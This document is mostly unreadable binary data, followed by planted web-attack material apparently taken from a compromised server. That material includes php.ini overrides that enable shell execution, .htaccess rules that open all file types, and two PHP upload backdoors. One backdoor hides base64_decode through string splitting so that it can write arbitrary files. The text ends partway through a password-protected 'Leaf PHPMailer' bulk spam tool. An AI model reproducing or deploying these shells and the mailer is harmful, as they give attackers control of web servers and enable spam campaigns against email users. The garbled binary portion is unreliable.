VwʟEIlDWNΏNHRc㿞=Gvv@RE&eN4brmlsghrzpiwdbk_R_F]wb?|MrAoM妷޹Ŗnatmhpbexjq}h!}K\[e	qNⷀNWQ!Gq v}7JoX_\,!CYo4UPK̓"3(ݷl*n;ƣKj49zLv%[^
|y4|tbvB_*W #TH$dpVf2%d~7Qj~1&uj	jv@%qwv#0U{U;ns]\WΩ~7h1Bisghrzpiwdb߀;Ϧ=3_c
n$լ;7rW9+t't\5natmhpbexjoʝ!jBuysghrzpiwdbJ!醳5]8Ϣ]An(~oD܎2xA\M;\V2Pxr*#tIW7!&[ے i!IW`^
7vGq7xtlc@2O	çC$T,\#_ƢOW*8p]Kt*DoAIr@VTG6UP&t-#'`GR|gp8)ς	(M1fez#CL+L
X/nH+F]=7kz X#wG츩F{
Kੳ}dBmPcp.%u}uDA8ؽ^;`TWCP	_O-natmhpbexj{zT'kN3b0lOC-oT8n5IM-r{qV.k0³6{8;uxxv)W~
$tyktPVNNpDY1qF"l~C=:Wr=2n A]^"nHa;2$aAT
^=f1pU#/Y]xz &k½1!L&ѳ2Emjsghrzpiwdb\sslj+4Q1~r$7~:6C%z=*}8:5jC;;7|
p$iQ	{~zϜ
𝏦cȬ4 9sghrzpiwdb#w?}'Z' 'KoO%Sq#$Ϟ	Nb2'N;#C:3vAr|wTz_惞_5R^F짘K*wI]/Qof_ʃDG*mǽ1ߋLJ!ϳEGq|-K_JK39;Dw07
JV=논pLAFgS|ybLq^e&3nx)ǹgsghrzpiwdb03١ZQ9)ot/	9!wҩ12m/Rm(n|~q/rϾxyɲr0Gp;G6K*KgsghrzpiwdbKփD $$D R"%ϬGm]ʔ pypǹf
~!m-9j 9"l O,LamIʋF"uՔp7%B໯)U?A5p;^g C'+S8v^U63WJML.D-/$?\,HKdҔEZ[ǥԡܺ8;":[ąUEQ.^
#xClc46YA]&_ԸUF5dETrmRnatmhpbexjhMyL5|kyODLƑkU9=.ٍEGbѣ|PX8ļDNˈ*K ̐e%.ѕPПf2;af6#NXt03;sO1&",#Ǯ/;x897^PeCx9f@E]XXk$dAbz?Ifq:}InatmhpbexjHK%we8ƌd2~6?KeaaM~0˼9WK{3۾3a9?8
LP:9+fgsghrzpiwdb}ɯ-f8	[ML%Nzj'hS^tJ,ͽ]tUj=
~natmhpbexjb)+!QU@_Wk$&R˄fV1p;.ĭltѷb690=OYJR*Ky{
natmhpbexjS`tcpA=^znatmhpbexjs//!Y6m%5)hoQUݸD`t.n,]ּZk.Jϖ)̜_
m:)ݤ=s$αV:V{eY5
j?قA
$ljߵ5;mтF60natmhpbexjm_@gN}ėpl8PCU.^Nݣ䔝7Xj_=o
\M*uf|ԢHj78_eKq5%v0xE8pwG@d}\'`'gnzgNB9K
ި+]vXJ178x,߯Kԙ{VGɗg3tr0xRR`WP{֎'i&R/aԂ؝BL4!r 'o3{j7-+1*f,-&)@hkPy/}@__-[zn@c%o{^gVuԾ=^	z;U[helC\[
eUaJN_UswU[W!:Xl(I\?ÇRW7kzsghrzpiwdb%Z.C#x{5(b(ޯl +P;b6͚ q7W
{b~7yam6tCfF)6ODrU/ˌA!
íW7DEA	qB/'fC0C6_(-3-2{P@X3"n.
gӟgaxN/!Y?OQJwt$:/l-l¬ϔ֕QŎN=.Y#/6Gc5v\sda3WvsghrzpiwdbSvOV^ldnatmhpbexjwi^w_E?Kf![aG/{ 3W:frNYPjGk];hWF벀c:ߖ、lN̰HnatmhpbexjRnatmhpbexjmʄR$Tm.Pj7ynV=K`\[K23-sghrzpiwdbNWWe-{%yX8RG^Sni H#IBSLk^vKr9GhB;ܕ?ndv$uo}dޱnA"E4LgZkMK(Ab:I3̋t.$O)gmK6Hv^J |.{K-9xͪGPCd8S	x#5lJ9@^
|5!T;_%r\|Dܹ8gԾ+7i؍gm4;Wo86skєygIBya%Cl޷dCY)Z9Xl]A&T_S"_F^)IEDOi/+p20cSq=AL
~XZnatmhpbexj?
C~?|6~4Sd
hpU(ģcC,=za:ltX|!hQX4zYECuT^65,"]t0?G ړS˪W_;zE:Znatmhpbexj5=`aO׳u!.K{o]^][W(flcVSesNhnǱ(x~6=Ǧ
Hbqnatmhpbexj̳,k9V=3"s~T)n ե0YӓL!UM8 ^)U:ൂjPT/B
natmhpbexjRT;xJ 
m"Tx'k^$=gV1a:jle4sghrzpiwdbbxGhO˥."Sظ/1P8f"F&
AP\.6ksghrzpiwdbnatmhpbexj5㼦B9M'`*jܵ
9,j~{l^*!,ۀئk2Ds
yx)t}=@j9=xdX-&?OsNH\.+AYͺqZl"g/.oҢoSN^ۀbO~/T]XݛoLjOZ9g@2N@ajbO1ׯo['_ܝ_JT1`^4Kl	X6IK%B{ɩsghrzpiwdbY)%԰	O,V5v[!T
%ym30R}IJ.
sghrzpiwdb**Jü'gXK`sghrzpiwdbO˺Lڳy]C}#(Bj"̾RBs1̀R`m',nPScr\Wv:L\
\x}ѨzyKyI]+jkv.&A.sghrzpiwdb7xeIEAmmz_?˳+}_;v5-A(Դvɻ޴Kz_"{$\UMwAsghrzpiwdbݚoPt1/$wQMS+natmhpbexjtRnatmhpbexj$GacI
1p6OWCy.eCmgQ묦6|XVBj=ҥjME8I=9zv5}oɶtaTw%boՎܫAG+@or4&HE75=iT74ӕР;P?#P̝ 6sghrzpiwdb\ޣi3&ݴN N@natmhpbexj`=ʚUV^3XI&V.O8ލ[55RxbtaXdfNKzSyC%nW{#X@_y5'fsֺKDЀO9P+~
iFC9Zo7ӽqSIfS5`mE&zǆ/f%~Im,ܰ%" "\hW4ѫ:r/4X_䘄c_ko)Ovfe7sGE+wsghrzpiwdbg	ݽ2rȫL
,&ò!qx,|DɯMX
{,KC+ԙ7CUZK|/ /qx_yKvZˉ	0='+oy'?Nn =Jf.,|ҧ0Qx2k\rg&-.=XqRHOW 
1V!$هĆ5L*2
D_ŒS?suwbanv;.Hw/Q~PosghrzpiwdbCP	3'natmhpbexjxG_`wYGUf̂R0%t\XtsH':A!~S.mI!o
1645~Pڨb!Dڿe	@wA
fVL;	$sghrzpiwdbSq+gGjR~TY@6|y2tx
,ℵ
Dx3=\+tB]N\϶yFsGԱgCsghrzpiwdbx8Ye~UISkyRw(Ѯrnatmhpbexjܼv@=8A|ͽ4aυ1*e'pW#)hsghrzpiwdbk"h?Z%~:p"~Ҩ[?bR4#\_!'N 5V:xpW.].	4]:V|!ڇ8S6Vc\O7SmMpmE:/I?natmhpbexj&Ęnatmhpbexj:Zh*: kԉ{-)9BcD3Jsnatmhpbexj.䲢T`v
@9WleAUvlޢcOkkqde"8
JgaiZH|
WٻƾYʒ߾|cV"r!pCfI\I,lx\VVda@90]3n]MS2kE/5xjAhݐN
Sg_YMI|nUObb1q?w"ZٹzC|-F19[Q"yZ*mQJǝE
&%8+mij%ڒ㏷M`d#u	!~xZX}#`ڈ+;^B]U	A7+	u䍕j1`;ˤ63G|잷Kf~ڐ46ƅsghrzpiwdb@YjS&68Sx- }`=l~h__kM+^ZbixIf% $&X.Fsghrzpiwdb뾫m rӪjOG^vy*k|?S+^fjk]^ZD1/᤿,ڃ"H6Μb,4obk`)rcsghrzpiwdbf6
FQ:AI7SJT8hmr6{}natmhpbexjf6e'|	cπ댧"iXt׌_By	B@&4-ޖ
joD*"V$;9|+ztHs
[:Z-P1natmhpbexj@:`6`Cǡl7l)#UuRV=/C,sghrzpiwdbܲ[gpnatmhpbexjsghrzpiwdbg4
j+3N\QX;sghrzpiwdb=/HOڇ"L@[xnatmhpbexjE&wZ~)	A4U)"}s;`|5~0OLbnf{fZNRK1=#ڏ,	ik˪:~xoˌ}̨6K;sghrzpiwdb_P_MKw[3χm_ԬwF֗iT}wR1?natmhpbexj˛8)2Rщg%=ILۓ^E&ڠennatmhpbexj/E[nzsghrzpiwdbiA o+.l`h`=7l[*݁zYL:^t2@G 4Ժu*-}! @X[kͶׅ
@# SmyxsghrzpiwdbԸ֚w*	nG`BqR7㼗!|:^q1Y	ɚeFY2%YŔ/|e5(`rf1sghrzpiwdbA?'G=	!?xaSnatmhpbexj/s@UlNka	Z"]LTBlLO|;ހRi|nA V1]ld(?C&TijS,.~nB;!Ó:58LnML󎌭Mɇ%]_ݤ"+x",l9y3ֱ\9zzffB0NV%G	p}saw)/
|4FpY	7h\
WZ&eˉGlG4p_vE-ђ
8\Po/{~`Q!-Mg1Una-_sghrzpiwdbv?uXhʿR1ҷI6JtI
sghrzpiwdbc%r[꠵t#Ti{Z)޸
O+GأzFu61.
΀j\,8[[J0"MFfPkl\BR79!y$'gaŸ1cU7eI Pa."natmhpbexjo4PM/S_/xvB̳(tjѐX,4NF[h~j\+P?]9Ť)?""Py;5o&ŀ㚶a?N͞[+ӂNU/$~nh)rnatmhpbexj=OӁ6s4TsQ0	|2 ΐ.&eeipE(u$Ejvyez*{k#tMծOCQOWiƳ4Q%Y$)g%xvf@꫰w'[sO-Jf֓__])Mܼ4f\*[/ji.eܑa1$U˙ٗɽj QP0k{7[sghrzpiwdbmUʑgWJ?+jͱ締(,YylX0#\OZ5	N@	ӯ=pg/&]TH 9wsghrzpiwdb\]T&ߚrnatmhpbexj]J5g"ȿ	y)o:`pmbZ3֛YM8sghrzpiwdbdjGGQ^"躴]g_Ѕ7֝%ʩF-c^vg1)2=c'p_X[BMRA7\2!g{^n#ed"Yg搳Rob5}SW01RXnI)?ghz
kįx$3a?+1odptZ̜ik7p\:z9ն[U}o{;fx.$-M/Ŭީ!rC};x mOŒ||natmhpbexj2y[7[Zݻ1M8S8㋄vGo
P,$h'1q1@`k%/natmhpbexj|M!+18;w{ֽ%UFJUp-HSogW&Yɀnatmhpbexjf\+M~*uzJrZ%M{3)IYozp(bbjK^| !̠\'	eRSޑ
snatmhpbexj0s\gϊx7Kɚs־{`fnatmhpbexjcqںº
3+(8sghrzpiwdb7kDLɋ8K܎Ccf^D"^':6zc20׼|%]r~Qݺٷ´t,3׋C
wf'wnatmhpbexj	3#eSooٽ╥\EAf	a˚natmhpbexjn:\Aub3wN y"BsghrzpiwdbVo{
m]^Wㅅ	.r.h^]l4KL=6{Z7u)natmhpbexjwK^I	lշ*đ^+Đ"ٹ:_Vf;S2d2Q7TCQ!8Vj|7YE{q/+sghrzpiwdboYCO@#:#fpqMPzȬn|#x\Wsghrzpiwdb\X)=g8nܼfH-6x_,2Gw?0ױ$WyStT xdam_`I:"\xk]9
_E{;fIэA l)!KV'I,'M'?L-Z-kiz)f/9 e)*IX;+Ce|'Yg8
? 5㜫hٹ&~drnatmhpbexjG,4l~gu?|b@kn+T;9f8{U]ЭF#p#c- Rֹ}Ti(|ֺ,uK Dv9uΙO62I.D+_kxvk!4	ķPsɎބz+ x4V]ʁGZuhE(G~kj,A7ӐZNGrSJď
Qk3GW1@ɞzʘzW۷ǂdO\p#E!_e$/ 9=;7W6w2%ߎ*?t{ߩD"%%bѣ8\ԑf^|]BYgPW'd'cɋaPzRja7
qŋEcYuDhU!m @zaBg"ROu4xz?UO`/sghrzpiwdbVڒ{`㑖sghrzpiwdbzdaGjOF-Ra;Yexw'Cԩe[T̻p0C02}8I
rt!
A{ٍ6uc{THH|TEj9?GEv5$7e4ho#[i&?ɀ\i1natmhpbexj*;1{DOQ:J=jz^[(/=|lC:G[!7?gj߻wZ-ԋUp^natmhpbexjsghrzpiwdbS-NsgRGgR*ʲ3wrro*`sٺeb/f&Mx
jdXoBp؆natmhpbexjU=-8%T}U.=Y'd)xѠ_dOv\)ՂC7byVzϐLlRu0S 	c#hrJtn=&g+WA^Oj4y!EoNSGDV9ܓTfGrS!hVfj$cRkIxynUb
I#hl
#rUbϩ363ëfI]⢪sghrzpiwdbB唅;(sb~f[cC Y0L̵Tx􄸙[

H@y=Ě;GW𤄇7W9ROLuv8|]qGR9B[׷2Dц52}ZiA!""gFhaAnKM*j}k1	XMQ᱊ Xӡ3ne#3fQA%sghrzpiwdbfʅ]!}ΐ1mtTM7|ɡX3rȚ^C{/4Z~^mRL?=QڽBm}'w#zݮX?7TJ55Lr3K쒅R
sghrzpiwdbdfTeZsghrzpiwdb6~Mέƅ(h-#F2DZU82{)˸Q^ο;:P#o6X^"t7pmj"/5.Ejwj$íqQ)ٸ kysKk\XНK2.$#;; uw(sghrzpiwdbPbS	&׽nUfol2	hOnދGmbvc)uBѓ-N:1GdfrV~]-ꒄ/ 	{zxsghrzpiwdbR!τg^pOC;sghrzpiwdb@Y`ݒnUXj`Vp7s6s~e2Vyg픂G'^
f=Y0K_4f1_ VjI:j\ \n+\k:%:7fO6x&jciuf-Έdf1Mz#}od;2sOgy`Oɬ@^@WNzH2;,@]/;у}?gL!_^fܹҐC
9|`cҟ,/J)С=natmhpbexjlKi 'B#ԉ+$3DX3PQv׺cBmS
xj3oVj(c
-b.γ0fRnT5)C
5@W҆	n730$ފ8T1e_8T|{]nw?#!8K_J^Imw˅jO26!_5RVb$g5l'ol1y4RWj3ƽcI79Osghrzpiwdby@W]&fG#hB
$ bۅ6@9([7W2}.aKƼ3[FޯjD5unz@b\4?ߐF"VlTtx#:~Jpk4R!v|2k5natmhpbexj؄4.)3WF3&rwh4(v#GNZ2s%FKM{n0q|Jb}\ܕoT JzHAWGd4sfKF@anw*L 'Nx˭;,{ $j;YyIxR~ipUnatmhpbexj&#۵2ٔ[gȧrl$8natmhpbexj@gwX[t.;Ke+tzOU
3?D="һѐ0P(JYbױb9%3hHG
ް}	1t\HOȳCͻ&[{(dfHJ9⺯!gVSV
onatmhpbexjmV9] #يvAEl6lzxs_20u`DL;=|K݁ l5jzӉc.jxzAؽ(qDq=B҇b	/natmhpbexj̍%	*?w"Z:|Θ
)7{سRk?3^S6/TRjywCsIc!t("]Pk#q+!{E[e[Wnatmhpbexjȡ:rX\`n.vA.=e*̻sghrzpiwdbڭz=u~!!Y wU;)Gy]}	Nwb67Ϩ6RA.B'rd[F㳙Cnatmhpbexj\VPsghrzpiwdbehck`z,Y.0Q$e.˦yPq(##эżK8E)&zy{j8L/
ok-4#./eİY&/ !$
4=sdw2	4aKR9GbyPgx&fǇ&`@{~ynatmhpbexj%HsghrzpiwdbdHKKs&Z폘#$J]\_O)C

d]˸mjOjb"X
gє/natmhpbexj^څ;pI`QA8,8oS&,m&S5F[bk}_jg"\vb1J'dv}5QmJ!PzјĻ64Kr}6={乕5Sj!=8NcsXnatmhpbexjXC,NiR&}:BsǾKw1,vJ1JӪ&bu@ՙ۲˜+3n:UK?"3݋L
5.xҹ	Whwnatmhpbexj{HƑ?;}onatmhpbexj'L`ar,lon_42o}rU%Kp	qU &-]`GayKFϓv 
s}	ev՜%(s'C]DX	dϗ8Atx,GxCq7eT?~Ogr00@0?Wt!VYJץLe6N=Ϋ+:TYʞz/JqFKmJrL(ȉd+V6a?*3ǌStv
;Zۗą|wrfXM6Z"g3sghrzpiwdb+g$$OyߎW?2̉5V!~vn:HA$fX0
ڤ&'2p?7'uut	ZbT0kKKr"#Úh٫-ً
f8V	!eLf
mE^mF?O*s{sghrzpiwdbDN8k^L¤ ?؇&AMS
r큥fhַg:Z
%gh{r
em
/{Z{奿&b쑂	~{u8%_c8Gsghrzpiwdb]W:k~hE "@aGsghrzpiwdbNծA)&=gWc;HV4}=ےb؛wgQ/I~rr#W'mލ+-Wq43BWbJBnatmhpbexjfDiSM|RJöiဝ}#UznatmhpbexjTgQpڽYEEkPb8&t/D*3ϛ`Xj޳Q/dvxv,`isghrzpiwdb䖕*-(natmhpbexjpXs5CӌHnatmhpbexjXoWt
[9sl&}qyaM;natmhpbexj%t
YF˅q4(6N-sXȒ)E'О8c% ҧdVѣU
&R'P"qnatmhpbexjWS"
$%k'+cv]nB^"irf/_d|&Lo}:@fp~neS}сo5(cg־rǨsghrzpiwdbQ3F	 Y'u@p;ƜR2kaG,?H6KfNa-K5wXە\:6}3u;aAHw
pzE18J11Ke(wd Z/8ƼQ,jnatmhpbexjg }nح%c=rnatmhpbexj1q#%d!}\ZD:}ϑtKcϫ6"{13'ly}ȡnatmhpbexjD.C3'lpe5BʽD)YJ߹iɹ071Y3+&Zنꐱķrg}[C]xpAjEoap%_F!@[yiuP/'sghrzpiwdbOPW"%Ů0Sĸ/~skMyB] .?P})y9}!;ORQԮpϋIY1b.H[sghrzpiwdbTLYF6,\V3[C	.شG t~m~65^
$|x.!՛{7cT9w
:[G
~ݵH;J$D	4nM T~߱natmhpbexjIcާYI"W1u'
l9Q}0NHִjGe"2iSkKH'bFHٯTNzkYg4sghrzpiwdbFf~ݎR~C gZß'x+
"tW?(+#j KXZ	J3Hސ!Գe'2,đ%.(*/`0O86tQ[r 	E"cߵJѮ	H㒘v_V[C:q;)yrm7!D;;_[3\$qގND_5:6Jl4sghrzpiwdb&eX]'?sghrzpiwdb:6\s%&	jFȡ!4r[}}55fCٝeA
t8zX1'MrkwQb^0ϖ=r1|:+}^F /g|pNAo!ܲ^]0&UsL"޿+L
Suksghrzpiwdbby?{$
YtO*{)A)O
]-߳})UNX LD޹txy)y{H҅ +j|̒X:Y+5:NzcNwS%o5|~'ޣۺGѠ;ngzò$B03Y=@ǬhK ~natmhpbexj{Nybz㼀4O|N5r_֝:EZر-h2l~rsghrzpiwdb2.sghrzpiwdb,=u`P@{V=2yg"`2WݘyHORr=rH"]`#:WQ4Q\wۼA+ВZ`r|Ԏn_v
XIӻD|Q%wIq7/}bSbKk݁,QOnatmhpbexj9sghrzpiwdb#|ޱٺHDMǦv݊y#7!Zi
_sghrzpiwdbTl7 ))YrZ Ҥ3,_43;%Ѩn*vBN$Y~}Fagff^sghrzpiwdbwOiNr=.G3OEupΕޤ-ͻCc*RDkķKWܡOB/^sghrzpiwdbX/}RBn j͋E,Xh%Vsghrzpiwdb66Lkc_cmfT]8xp&I"(E'uWc󉙪Cg[^
BϋV	y{|T	x\AvƠO΂
sbk{]P'G]c:N`1dqZnatmhpbexjR;Fa%Hnatmhpbexjo  Ҙ϶9WxQl*B
/]5ts	ޗhEWx5o;x
Yި_i=CD4%z3ޚ)y;	gȪH2sqLJ$){d?T̿R6XmUr~ ǚRq3x`+#UK	b7Z=Au	,3AmbB[Un91$Ծd_Z
^V :#X܁Z[g=˒ɨJU ("SU+/dj'D\"natmhpbexjK鴜7UasI2]мckn%˔t ~rZs=)Gǳȩ/BKeMqW?Xznuӌ'.窤=pXr^sghrzpiwdb^NAJc&|l|2уAܶ[ޅPVV➬?ϴzXg3$.=H#dؼ;:p'i3lw|f`%Oϫ,;maF7WUy4	sJ=M6
k.խZcJ9Tsghrzpiwdb{+[EgX2G^ʛ,"n?;sghrzpiwdbM9Iђ'ԇ=oS[1bS)ېH
3y_~AfEL1Vgss ~zFCcK'@l3]k[:Y?sghrzpiwdbٖ^WoSܗLuR1a7a^*H^(طł˭%gwJ+t;/W/ж]NcJ%6įKnfa7iAj)$i[ȾAf&"-ɳ0aݰՙgf}[Moo4GQ'02z\~R̰qSEz=
H!Wqcfq7afw
 '?Aqǜn.dSDGkނ	cVήCHUÿY:w^o̖P8gY{JdN%EkyBj#n%Ni	ʢUfJ{`7CFRsۋ QP
+X~Ϡ֙B 4KU fO^Fg2natmhpbexj[;lXHd|t#LxɡO+|. ?wtS~ɉ6To4 /~5%natmhpbexjyÚrj_iydJT_)MPwW2ス$L˅`=.Mp8*^Fa7fa
#075c{''RaYk*ϛ(Ug9O`哸҈dZ*.*|,hQX% t5+sjRku;sghrzpiwdbW' mq#G9Bsghrzpiwdbsghrzpiwdbޛx0h=b}Jb)SܱգsghrzpiwdbQr;jHɯ*_abRzUh
~꽙a(#:^QJD;4\ԆpϠZxC*ۧߞ}Ք)IeWӾ{Աnatmhpbexj:;sghrzpiwdbO'T,HD|EkyxؠöBЧrG67}YxEca5:_fvC%ߝǫ.?vD}u%ypryAsghrzpiwdb4]sghrzpiwdb`&vxnatmhpbexjfI
䳛ųVfF˹5c;`K^݁eB!sP7m)U[&66Ǘ ńFiK;DnnީQy/uf͟`n$)/[natmhpbexj؎Lvj.޲Fl%hf]
V{$q;Zmyw˅~Q{tFO=9{Jrnatmhpbexj!	w;Z96z1k;֖¼]Fڧ"8/;5sghrzpiwdbsR
P
E
\w-ٖ\fxMF7 침%.8 i_/!a+s natmhpbexj.df?HDqa`fEƛ-K`rx3Qh@:~bclIa}V5hk4wᏫJMO.B	";#RriCN|
2FBdۛ	oj)"nk2-{T"'p|5=)CeUϓR'wDɱ"~["sghrzpiwdba!E&japSpn~+Pצ7]XpMdkg.f&Mx\Bz3#$JL,/?4&'緥Y}J7,0[u LR?f"Pw4Y4P&x\z1I7Q'7׋;'հ/I-(nw,dzi/nɹ|hNj?6sEt*8[vN(uAj ahaAs*g__|vW,pZ?pө$O';[޽u:;KCmtT.wԯd1õyDKYӸrg9[Rnatmhpbexj,OW=ӘaJCb?fpڕ黲}&^	лA[uXЪk;&Ac滂nnatmhpbexjL?%sq4natmhpbexjic w:natmhpbexj]Kzh^{eTKXQۄG3ꤤ?zWʝ%NxrO犳7r$UJ|/`500ā0^MZ^
,\?uZrX+!vm#f\_ץDp4祥#o͆I
ЉZ#@)~(*K@,ςCҗEIaM(F4AWLrKy E;#y#.H_'n׺j7+S%i)m_]OŤValw=JSvͩoE	BEX	s;uFq7w8/aAsonrOSQWcfPnatmhpbexj
Siއ)jϏinatmhpbexj[Y`	F|~M_Mi}XF~\|V2*ёmtB3 f*,KUqGQ/ê
oģ:IWq䵎wޞj=q}";)䓼r3)yT%0kVvanatmhpbexjԐ֩ޏMKC	sghrzpiwdb#k_15S_a0,qjnatmhpbexjoJ)z:9(J]vW/_NQMũӈnatmhpbexjWM"FY3dZ?:(piK3.qٯ=Ցnatmhpbexj^5Zbcp^?4=A=J
ātCanatmhpbexjVуkXYI:5ֲþ*,P+jM(+E#g~bT)es
ty5a\ߜ3oC.AMb\x+8/Bt`Gܲ,i%
f3natmhpbexj;jyՆ-Q0b"Nn6plS{natmhpbexjNRl!Xo}+EߍOѹM!nђ 1WL}$Cy=T\۳rS4xo`4YDPCsghrzpiwdb߈L=Uud\`x`,&2|{5}NW~{Ҭ]ܳ^̄pzтL	AčNֹl3sj7U~O!xI-kJF"O7C6x
'[EK nuԭ*̯n#7Rxe$Ex3g0Rfoh }uFl1K}z".=KInatmhpbexjmkj+W }cΗnatmhpbexjx@1{W~Y&VRvStBr:I=.K`!9,.QrtܧeFAG`؇ڢEo2u%S-Zݮ}%mLիݳda@=amnatmhpbexj }B\gRnatmhpbexjk{p!v?m ukiWe'2=`jD yk]ۼ|@~_rt}!B2H_[_
Λ+\Tpzi̯maŤȇ.%P\%ͳ{1H\~_s_lNҲO\ݠnatmhpbexjb.2bW#=am͸D8%!")Nž_Yr"ܽmI!P#\Ykݳ{jÿî,K|{?BnatmhpbexjVqJ'\xhwt.^ msghrzpiwdb{o=ȰJlyR{y8R$g$bnatmhpbexj'4qwtFynatmhpbexjfv,㡮T:h~,	0x*P^em^=TطW3Snsu}8W|/&xՈ~߉y?uˤ	F&E7	qwjͨe-Š'/R6YW!Miw$q6eis/bOoo䦗2R%ҷ8jj}2wJUܺ7!hEoDK tβ;fjcrCD%8CrNg9/ENQ,`e!-|&w\J̡n?5PVK%찡IwrLn;T$sghrzpiwdbkloJ9Ўs^rv/!=:$oU6Cֳ݀˝/B걅AS ߫^n75ѼKD	~TͳhGցN3hl]h(v=Cn%-|xO	'-M_sghrzpiwdbL\'D람% SK:wJ鸮miݭkϩ^w l_l/PYlAS~LC^j,e
;\6|N.iȣ:pݡWC	,(natmhpbexjòRquw'Xgf6HNPnatmhpbexjrRYe+l|$sk=9AdN;Oo[]Qq#k^arѷicPNzlѳR)@e^k-K-natmhpbexjk:fQ7u|ψwpyv̌yff ؏NrERuD*SA2p ը@R\2M6;sghrzpiwdb͉6=f2Mɯ mԥ:5!xBĿ`K\酁**M49sU }iU}g7jHʂrfH́UB;\'rsghrzpiwdb;cp~(ݮhl2+Uv.s	U5natmhpbexj͝X%cR
2_i!lEX鮵Um%f^匇Rp*natmhpbexjϮq~-gW1h)mRE9ְ66AS)tﻏLt_BTUm~ksghrzpiwdbNӣ7/9JD;xrph%2gP|k
z[&A\1%J'l]P"NTGjOu@A1)QX6D4=3ؼ7ya
Npr&i
Lyn.sN&
x{&oȵb[Exsß9"N"Yľ!v-1uW0Ql_	qTET}gβc/VW$19~֞pY+=#)ζW& }n3q8u*9~natmhpbexjZ WzoRqV,oU|natmhpbexjzW3o:F$_rZ;_)iBߙjٿnatmhpbexjix
ޣ855Xx.J@ܹ_r4Xe?}at+?y;߭kZA|Gk5U~wIJ&'pinatmhpbexjqsghrzpiwdb1[M1Y3IŨfpsghrzpiwdb}3rs_2SWMrj#tko9ownatmhpbexj2C?q޿W޿k~kG{)qF:E-'M#D/
"ߐjg3%9&O+?8!'L^ۨl,U8]ޟ3tF)PA](
oUP]/Q?s/Ì;i!ZLink7=Ueuqywnmey8e΁~&B[-yݔ7n|aN.8
x3ؒ\MϝϿ3]6pXHrV
jޏ@|0#|WodWwbAq7Y	O,}翸=~}?&\ꭻ1NKy?wǜ~vcukk#7^9sd=Bq?s!'*OwXLsghrzpiwdb9{7@#p11wA2~GGm?Asafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base6'.'4'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "mMdbtWVPzRE";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
